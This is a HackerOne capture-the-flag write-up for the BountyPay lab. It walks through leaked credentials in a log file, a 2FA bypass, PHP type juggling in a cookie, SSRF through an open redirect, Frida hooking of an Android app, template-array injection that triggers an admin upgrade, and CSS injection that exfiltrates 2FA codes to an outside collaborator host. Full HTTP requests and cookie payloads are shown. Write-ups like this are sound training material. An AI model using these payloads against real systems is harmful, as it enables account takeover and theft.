[H1-2006 2020] Writeup
H
h1-ctf
Submitted None
Actions:
Reported by
lolcanyouexplainagainpleaselol
Vulnerability Details
Technical details and impact analysis
```
^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$
```
# Prologue
The CTF was announced in a [Hacker0x01 tweet](https://twitter.com/Hacker0x01/status/1266454022124376064). The goal is to make payments from Marten Mickos' account on BountyPayHQ. The announcement tweet was followed shortly by a [retweet of BountypayHQ](https://twitter.com/BountypayHQ/status/1258692145252270080), an account made for the event. [BountypayHQ](https://twitter.com/BountypayHQ) has one tweet about a new staff member Sandra, and has a follower with the same name. Sandra's account has a [tweet with a photo](https://twitter.com/SandraA76708114/status/1258693001964068864) of a staff badge with 'STF:8FJ3KFISL3' visible on it. We make note of this for later.
On the [policy page for the CTF](https://hackerone.com/h1-ctf) we find the link to [main site for the event](https://bountypay.h1ctf.com/). That site links to separate subdomains for customers ([app](https://app.bountypay.h1ctf.com/)) and staff ([staff](https://staff.bountypay.h1ctf.com/)). However, the policy page lists the scope as '\*.bountypay.h1ctf.com', so there are probably more. Using [ffuf](https://github.com/ffuf/ffuf) to fuzz the Host header, we find
[api](https://api.bountypay.h1ctf.com/) and [software](https://software.bountypay.h1ctf.com/). The software site says I can't access it from my IP address, and the api site [showcases an open redirect](https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API) on its homepage. This suggests we'll find an [SSRF vulnerability](https://portswigger.net/web-security/ssrf) at some point.
# app.bountypay.h1ctf.com
## Getting in
Initially I guessed the user might be 'sandra' and tried common passwords with Burp. Then I went through all the punctuation marks to see if any gave an error indicative of some sort of injection. Eventually I used ffuf to check for common files and directories. This turned up [a .git/config file](https://app.bountypay.h1ctf.com/.git/config). Visiting the repository for that, we find [a script](https://github.com/bounty-pay-code/request-logger/blob/master/logger.php) is logging the contents of incoming requests to [bp_web_trace.log](https://app.bountypay.h1ctf.com/bp_web_trace.log) on the server as base64-encoded JSON. After using [CyberChef](https://gchq.github.io/CyberChef/) to decode it, we get:
```
1588931909 {"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
1588931919 {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
1588931928 {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
1588931945 {"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
```
Plugging that username and password into the login form, we are asked for a 2FA code. I enter the value from the log file and submit the request. It doesn't work. Looking at the request in Burp we see that a hash is submitted in the 'challenge' field along with the values we provided.
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
username=brian.oliver&password=V7h0inzX&challenge_answer=bD83Jk27dQ&challenge=5ca3e50bd0b0c9b94915573b64b664be
```
It looks like MD5. After using CyberChef to hash the username, password, and challenge\_answer in succession, we use Burp repeater to replace the challenge value in the form and retry the requests. The hash of challenge\_answer works. And returns a new cookie:
```http
HTTP/1.1 302 Found
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Sun, 05-Jul-2020 14:44:36 GMT; Max-Age=2592000
Location: /
```
I notice the cookie starts with `eyJ` which indicates base64-encoded JSON. I then use Burp repeater's 'Request in Browser' action to replay the action in the browser and log in.
## A quick look around
The dashboard we land on after we log in has a table for listing payments. There is a form for selecting the month and year to show transactions for. No data is displayed for the current month. Trying a few other months also returns nothing.
Glancing over at the Burp proxy history, we see the form submissions to go [/statements?month=01&year=2020](https://app.bountypay.h1ctf.com/statements?month=01&year=2020). The JSON output this returns indicates it's a wrapper around a method on the API site:
```json
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020","data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"}
```
Using Burp Intruder to add punctuation marks to month and year has no effect. Attempting to visit the API url directly gives an error about a missing token.
We also see that a file called [app.js](https://app.bountypay.h1ctf.com/js/app.js) was loaded. It contains the code that calls `/statements/`, as well as code to render the results. We see that results rows link to `/pay/{id}/{hash}`. Trying [a random number and MD5 hash](https://app.bountypay.h1ctf.com/pay/5/5ca3e50bd0b0c9b94915573b64b664be), we get an error 'Invalid payment details'. While we can't jump to making payments at this time, we know that wherever the CTF leads, we'll probably end up back here.
## Analysis of the `token` cookie
Using CyberChef to decode the log in cookie we get:
```json
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
There's the account ID from the API site URL. We've probably found the SSRF.
However, the first thing I like to do with JSON parameters is to change the data type of the parameters and see what happens. I use the [Hackvertor Burp plugin](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) and replace the token cookie value with:
```
<@base64_2>{"account_id":["F8gHiqSdpK"],"hash":"de235bffd23df6995ad4e0930baac1a2"}<@/base64_2>
```
The account\_id parameter, which is expected to be a string, is now an array. In response we get:
```json
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/Array\/statements?month=01&year=2020","data":"[\"Invalid Account ID\"]"}
```
This tells us two things:
1. This site is probably built with PHP. (The string value of an array in PHP is 'Array')
1. The value of account\_id doesn't seem to matter to the app site. It just blindly forwards it to the API site.
PHP is famous for its [type juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf). In particular, how `"any string" == 0`. Let's try it.
```
<@base64_2>{"account_id":"F8gHiqSdpK","hash":0}<@/base64_2>
```
We get the same successful response from earlier.
In summary, account\_id matters to the API site, and hash matters to the app site. If account\_id were easily enumerable, we could stop here. But brute forcing it is worst case 62^10 = 8.3929937e+17 , so that's probably not going to happen. Back to the SSRF we go.
## Exploit the SSRF
Incorporating the information from the prologue, the goal is probably to use the open redirect on the API site to get something off the software site.
```
<@base64_2>{"account_id":"../../redirect?url=https://www.google.com/search?q=REST+API#","hash":0}<@/base64_2>
```
Trying a URL other than Google, we find get an error "URL NOT FOUND IN WHITELIST". I wasted some time thinking this would need to be chained with an [I'm Feeling Lucky open redirect](https://nakedsecurity.sophos.com/2020/05/15/how-scammers-abuse-google-searchs-open-redirect-feature/). After a bit Google threw up a CAPTCHA. Then I realized I hadn't actually tried to just redirect to software directly.
```
<@base64_2>{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":0}<@/base64_2>
```
Well, that worked, and now we see a login page. Adding [CRLF to try and add headers](https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) or insert additional requests didn't seem to work, so this is probably a GET-only SSRF and logging into the site won't be possible.
After some content discovery with Intruder, we find a directory listing at /uploads/ containing one file: an Android app.
```
<@base64_2>{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/uploads/BountyPay.apk#","hash":0}<@/base64_2>
```
Attempting to download it through the SSRF gives an empty response. But downloading it directly works.
https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
# BountyPay.apk
I haven't done much with Android apps before, but I have done some basic static analysis. This [HackerOne blog post](https://www.hackerone.com/blog/androidhackingmonth-intro-to-android-hacking) is very helpful.
## Static analysis
I start by downloading [jadx](https://github.com/skylot/jadx) and use it to decompile the app.
It's divided into 3 main files:
* F859859
* F859858
* F859857
I don't see anything that looks like a token, and decide I will need to actually run the app.
## Running the app
I have an iPhone, so I download [Android Studio](https://developer.android.com/studio) for this.
In Android studio, I create a new empty application, and then open the 'Android Virtual Device Manager' and create a Pixel XL device with Android R. Afterwards, right click the device and do 'Cold Boot Now'. Then drag and drop the apk onto the virtual device to install it.
The first screen asks for a username, and when you click next you are dropped on an empty screen. There is a button in the corner that, when clicked, provides very helpful hints: 'Deep links' and 'Params'. I don't know what this means, and decide that dynamic analysis will be needed.
## Dynamic analysis
I installed [Frida](https://frida.re/docs/installation/) in my [WSL Ubuntu](https://docs.microsoft.com/en-us/windows/wsl/install-win10), which I frequently use for python stuff. Then, using the Terminal built into Android Studio, I rooted the emulator and installed the Frida server on the it following the directions [here](https://frida.re/docs/android/) .
```
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe root
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe push C:\Users\Nick\workspace\hackeronectf\frida-server-12.9.4-android-x86 /data/local/tmp/
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe shell "chmod 755 /data/local/tmp/frida-server-12.9.4-android-x86"
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe shell "/data/local/tmp/frida-server-12.9.4-android-x86 &"
```
Great. Now that I have the tools installed, how does Android hacking work?
The [Frida Android example page](https://frida.re/docs/examples/android/) shows how to hook the onClick handler of a button. Looking back at the source for the three source files for BountyPay, they seem to all have a similar structure.
```java
public void onCreate(Bundle savedInstanceState) {
// ... stuff
if (getIntent() != null && getIntent().getData() != null) {
// show boxes based on values of query parameters that are part of this 'intent' thing.
getIntent().getData().getQueryParameter("start")
}
}
```
So it looks like all we have to do is hook onCreate and set the query parameters before calling the original onCreate.
## Activities
### PartOneActivity
Source: F859859
I throw this together in a script file:
```javascript
Java.perform(function () {
send('perform');
// Function to hook is defined here
var PartOneActivity = Java.use('bounty.pay.PartOneActivity');
var javaUri = Java.use('android.net.Uri');
// Whenever button is clicked
var onCreate = PartOneActivity.onCreate;
onCreate.implementation = function (savedInstanceState) {
// Show a message to know that the function got called
send('onCreate');
if (this.getIntent() != null) {
send('gotintent');
var intentData = javaUri.parse("content://asdf/?start=PartTwoActivity");
this.getIntent().setData(intentData);
}
// Call the original onCreate handler
onCreate.call(this, savedInstanceState);
};
});
```
and in my WSL Ubuntu terminal run it
```bash
frida -U -l runme.js bounty.pay
```
According to the terminal output, only the 'perform' part happened. After some Googling, I find a [GitHub issue comment](https://github.com/frida/frida/issues/480#issuecomment-441453427) that explains that in order to hook onCreate we need our stuff to run before the app starts.
I borrow the code from that comment and put my javascript in it.
F859851
I then kill the app on the emulator and run the python script with:
```
python3 ctf_part1.py
```
It works, and we're on to part two.
### PartTwoActivity
Source: F859858
Reading the code, it's very similar to part one, and I update the Frida script accordingly.
F859852
After killing the app and running the script, there's a hash displayed on the screen (459a6f79ad9b13cbcb5f692d2cc7a94d), and a box prompting for a 'Header' value. From reading the code, we can see this must start with 'X-' to move on, so the hash that's displayed probably isn't what it's asking for. Peeking ahead at F859857 , we see a few base64-encoded strings. Decoding them, we find that `WC1Ub2tlbg==` is `X-Token`. I type 'X-Token' into the field and we're on to part 3.
### PartThreeActivity
Source: F859857
Reading the code, it's very similar to part one, except some of the query parameters are expected to be base64 encoded. I update the Frida script accordingly.
F859854
After killing the app and running the script, there's a box prompting for a leaked hash value. I try the hash from part two and it doesn't work.
I notice in the source there are some calls to print a token to the logs, which would appear in the Logcat window in Android Studio. But those messages don't seem to have happened.
While wondering what to do next, I notice that after a delay, these messages start appearing in the logs:
```
bounty.pay I/TAG: Starting authentication
bounty.pay D/TAG: signInAnonymously:success
bounty.pay I/TAG: Getting host endpoint
bounty.pay I/TAG: Getting Token
```
Maybe now that it's had time to fetch them, they'll be printed if we retry it?
I click the back button in the emulator, and resubmit the form for PartTwoActivity. Now in the logs we see:
```
bounty.pay D/HOST IS:: http://api.bountypay.h1ctf.com
bounty.pay D/TOKEN IS:: 8e9998ee3137ca9ade8f372739f062c1
```
Entering that token into the PartThreeActivity, a congratulations screen appears. We've now got a token for the API server!
# api.bountypay.h1ctf.com
Now that I have an API token, I use Intruder to try other HTTP methods on the one endpoint we know about:
```http
POST /api/accounts/F8gHiqSdpK/statements?month=04&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
```
Nothing happens. I then try adding punctuation to each part of the path, query parameters, and token header value. Nothing interesting happens.
Next I use ffuf to look for other methods and find the `/api/staff` method. It responds with:
```json
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
```
I then use Intruder to try other HTTP methods on this endpoint. POST returns the following message:
```json
["Missing Parameter"]
```
I add name as a body parameter. Same message.
Then I try staff_id with a value from the GET response.
```http
POST /api/staff/ HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
staff_id=STF:84DJKEIP38
```
The following message is returned:
```json
["Staff Member already has an account"]
```
Ah, so this is making a new staff member account. Sandra from Twitter doesn't seem to be in the list. Let's try her ID (STF:8FJ3KFISL3)
Response:
```json
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
```
# staff.bountypay.h1ctf.com
## Getting in
Visiting the site, we are redirected to [/?template=login](https://staff.bountypay.h1ctf.com/?template=ticket).
In the last section we saw that Brian Oliver is supposedly a staff member. I try logging in with the credentials we used for him on the app site and they don't work. I then use the credentials the API server gave us for Sandra and they work. The cookie looks like:
```
token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
```
## A quick look around
The main page is [/?template=home](https://staff.bountypay.h1ctf.com/?template=home)
The functionality of the site is minimal. The dashboard has two tabs:
1. A list of support tickets, with only one ticket. Viewing a ticket has its on template: [/?template=ticket&ticket_id=3582](https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582)
1. A form to change your profile name and avatar. This posts to [/?template=home](https://staff.bountypay.h1ctf.com/?template=home).
In Burp proxy history, we see that a file [website.js](https://staff.bountypay.h1ctf.com/js/website.js) was loaded. It contains functions calling two additional pages:
1. [/admin/upgrade?username=sandra.allison](https://staff.bountypay.h1ctf.com/admin/upgrade?username=sandra.allison) to upgrade a user to admin. It can be called with a GET request, but trying it gives an error: "Only admins can perform this"
1. [/admin/report?url=Lz90ZW1wbGF0ZT1ob21l](https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZT1ob21l) to report a page for the admin to review. The URL parameter is base64 encoded. In response it returns "Report received". Reporting the /admin/upgrade URL returns the same response and nothing happens.
## Dead ends
I begin by testing all of the parameters observed for signs of injection vulnerabilities using my trusty wordlist of punctuation marks. Nothing stands out.
I test all the parameters for what happens if you turn them into an array. Nothing stands out.
I call /admin/report with the url parameter pointing at a Burp collaborator URL as well as my SSRF testing toy app. No requests are received.
I test the template parameter for path traversal and local file inclusion. Doesn't seem to work.
## Another dead end
While token cookie format doesn't look like base64-encoded JSON, I try decoding it as base64 anyway.
```
sIluEVmypbzy/Un0njpgLfyONobB8ao8pxKJhQBdhRTpg1SCXylVDJrRjrr0JeMlTdnr/Ss32wXInW6cEKYyOQCu5MdRO1/SMkCXAd80mDdemzDFVyYYTuVzx04Vy1ilQmOBQP6tUh97pAYcoCim+vwDdaQu7PGRaRn6d4zG
```
Odd, that still looks like base64. Decoding it again returns a blob of unprintable stuff.
While testing the profile name change functionality I noticed the cookie value got longer when I used longer profile names. This suggests the cookie is actually storing the state for this and there's no backing database. While this site is supposed to act like a real site, it makes sense that it would be implemented this way. It seems unlikely that breaking the cookie is the intended solution here. I still put a few hours into it and was unsuccessful.
## Half an XSS
Taking a closer look at [website.js](https://staff.bountypay.h1ctf.com/js/website.js), we see the makings of what could be an XSS.
If the URL hash matches 'tab[1-4]' the code will trigger the onClick event on elements with that class on page load. The onClick event for 'upgradeToAdmin' will trigger the request to upgrade the username specified in the 'username' input field. The inclusion of tab4 in the hash code seems odd since the dashboard markup only has tab1, tab2, and tab3. Maybe the username field is on tab4 for admins.
Looking around for an opportunity to inject a class name in the markup, we see that the user avatar setting is used as a CSS class name. Intercepting the POST request to change the profile name, we modify it to change the avatar value:
```http
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH
profile_name=sandra&profile_avatar=upgradeToAdmin%20tab1%20tab2%20tab3%20tab4
```
This updates our cookie. Next we visit [/?template=home#tab1](https://staff.bountypay.h1ctf.com/?template=home#tab1) and can see in the Burp Proxy history that a request to /admin/upgrade was made on page load.
Time to test this out for real. I make a request to
```http
GET /admin/report?url=<@base64_2>/?template=home&username=sandra.allison#tab4<@/base64_2> HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWnltMlpjNzBISitQZ1RhZVJsNDY3TlBGbnBQY3VaTkwvSEEwTURoc3lsZy8xMVpPTHg5UDVoR21ZeUk1TlM5VlJhSCs0VGZkNFl2Ullj
```
annnnnnd...
```http
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 19
["Report received"]
```
That was disappointing.
## The missing piece
I messed with this a bit on Monday and didn't get anywhere. I was stuck and out of ideas. I tried to forget about it because I figured the answer would probably come to me later.
Tuesday morning while retrying everything, I realize I overlooked something. While I had tried changing parameters to arrays already, I must have skipped this check for the template parameter in favor of looking for path traversal. Doing so now, I noticed that changing template parameter to an array still loaded the page successfully, even though changing it to garbage strings gave a blank page.
Then I realized that passing multiple values in the array would render [multiple templates on the same page](https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket).
After a bit I figure out the correct URL to report.
```http
GET /admin/report?url=<@base64_2>/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab3<@/base64_2> HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWnltMlpjNzBISitQZ1RhZVJsNDY3TlBGbnBQY3VaTkwvSEEwTURoc3lsZy8xMVpPTHg5UDVoR21ZeUk1TlM5VlJhSCs0VGZkNFl2Ullj
```
annnnnnd...
```http
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWXZvVjl5K1gzQTlmZ1RhZVJsNDY3TlBGbnBQY3VaTkwrUkJrVlZoYy96aEtjZ043YWhwdmx2SEdwaWNKVUMrRlJkU2VCRUtkZ2I2aFlj; expires=Sun, 05-Jul-2020 18:58:11 GMT; Max-Age=2592000; path=/
Content-Length: 19
["Report received"]
```
We're in. Re-visiting the homepage, a full list of users and plain-text passwords is now on tab 4.
```
marten.mickos
h&H5wy2Lggj*kKn4OD&Ype
```
# Back at app.bountypay.h1ctf.com
## Getting in
Back on the customer site, we login with the new credentials and bypass the 2FA the same way as before, re-using the same challenge and challenge answer.
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
username=marten.mickos&password=h%26H5wy2Lggj*kKn4OD%26Ype&&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ
```
## The new `token` cookie
Our new token is
```
token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
```
Decoded we get.
```
<@base64_4>{"account_id":"Ae8iJLkn9z","hash":"3616d6b2c15e50c0248b2276b484ddb2"}<@/base64_4>
```
And test that replacing the hash with 0 still works.
```
<@base64_4>{"account_id":"Ae8iJLkn9z","hash":0}<@/base64_4>
```
Still works. I should have stuck with brute forcing the account id. Ae8iJLkn9z was going to be my next guess.
## The End
On the dashboard, we select 05/2020 and click 'Load Transactions'.
A table row appears indicating we owe Hacker 272 over $200,000!
This is it! We can pay the hackers now!
We click the green [Pay](https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba) button. And we find the flag!
{F859856}
# Epilogue
Actually, we hit another 2FA screen.
I click the 'Send Challenge' button. Glancing over at the Burp history we see that the request includes a hidden parameter.
```http
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
```
Ok, we'll need to use [CSS injection](https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d).
I turn one of my wordlists into a stylesheet using regex find and replace in VSCode.
F859855
I upload it into a private GitHub gist, and swap it in for the app_style param in the request. And it doesn't work. After a bit I figure out it's because Gist doesn't serve files with the expected Content-Type header. I use [GitHack](https://raw.githack.com/) to wrap it, and it works.
Burp collaborator receives 7 pings for code_[1-7]. I generate another stylesheet to actually extract the values.
F859853
I create another private Gist to host it and get a GitHack URL for it.
Burp collaborator receives 7 pings, one for each character of the code. I enter it. And the flag appears.
```
^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$
```
## Impact
This was fun. Thanks.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Improper Access Control - Generic